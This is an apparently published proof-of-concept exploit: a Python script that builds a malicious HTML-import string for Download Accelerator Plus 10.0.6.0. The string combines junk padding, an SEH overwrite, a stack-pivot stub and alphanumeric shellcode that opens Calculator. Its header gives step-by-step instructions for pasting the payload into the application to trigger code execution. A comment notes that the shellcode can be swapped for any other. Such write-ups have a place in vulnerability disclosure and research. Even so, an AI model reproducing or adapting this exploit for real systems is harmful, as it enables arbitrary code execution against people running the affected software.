Download Accelerator Plus (DAP) 10.0.6.0 Buffer Overflow

`#!/usr/bin/python #  
# Exploit Title: Download Accelerator Plus DAP 10.0.6.0 - SEH Buffer Overflow #  
# Date: 2019-04-05 #  
# Vendor Homepage: http://www.speedbit.com/dap/ #  
# Software Link: http://www.speedbit.com/dap/download/downloading.asp #  
# Exploit Author: Peyman Forouzan #  
# Tested Version: 10.0.6.0 #  
# Tested on: Win10 Enterprise 64 bit #  
# Note : In other versions of Windows, it will cause the program to Crash #  
# Special Thanks to my wife #  
# Steps : #  
# 1- Run python code : Dap.py ( Dap.txt is created ) #  
# 2- Open the APP --> File --> Import --> Html Web Page --> paste in contents from the Dap.txt into #  
# Import Web Page --> Ok --> Shellcode (Calc) open #  
#---------------------------------------------------------------------------------------------------------#  
  
junk = "\x41" * 4091  
  
nseh = "\x61\x62"  
seh = "\x57\x42" # Overwrite Seh # 0x00420057 : {pivot 8}  
  
prepare = "\x44\x6e\x53\x6e\x58\x6e\x05"  
prepare += "\x14\x11\x6e\x2d\x13\x11\x6e\x50\x6d\xc3"  
prepare += "\x41" * 107;  
  
# calc unicode shell - can be replaced with shellcode  
calc = "PPYAIAIAIAIAQATAXAZAPA3QADAZA"  
calc += "BARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA"  
calc += "58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB"  
calc += "AB30APB944JBKLK8U9M0M0KPS0U99UNQ8RS44KPR004K"  
calc += "22LLDKR2MD4KCBMXLOGG0JO6NQKOP1WPVLOLQQCLM2NL"  
calc += "MPGQ8OLMM197K2ZP22B7TK0RLPTK12OLM1Z04KOPBX55"  
calc += "Y0D4OZKQXP0P4KOXMHTKR8MPKQJ3ISOL19TKNTTKM18V"  
calc += "NQKONQ90FLGQ8OLMKQY7NXK0T5L4M33MKHOKSMND45JB"  
calc += "R84K0XMTKQHSBFTKLL0KTK28MLM18S4KKT4KKQXPSYOT"  
calc += "NDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM2JKQTMSU"  
calc += "89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU7MEM"  
calc += "KOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC"  
calc += "QQ2LRCM0LJA";  
  
buffer = "http://" + junk + nseh + seh + prepare + calc  
print "[+] Creating %s bytes payload ..." %len(buffer)  
f = open ("Dap.txt", "w")  
print "[+] File created!"  
f.write(buffer)  
f.close()  
`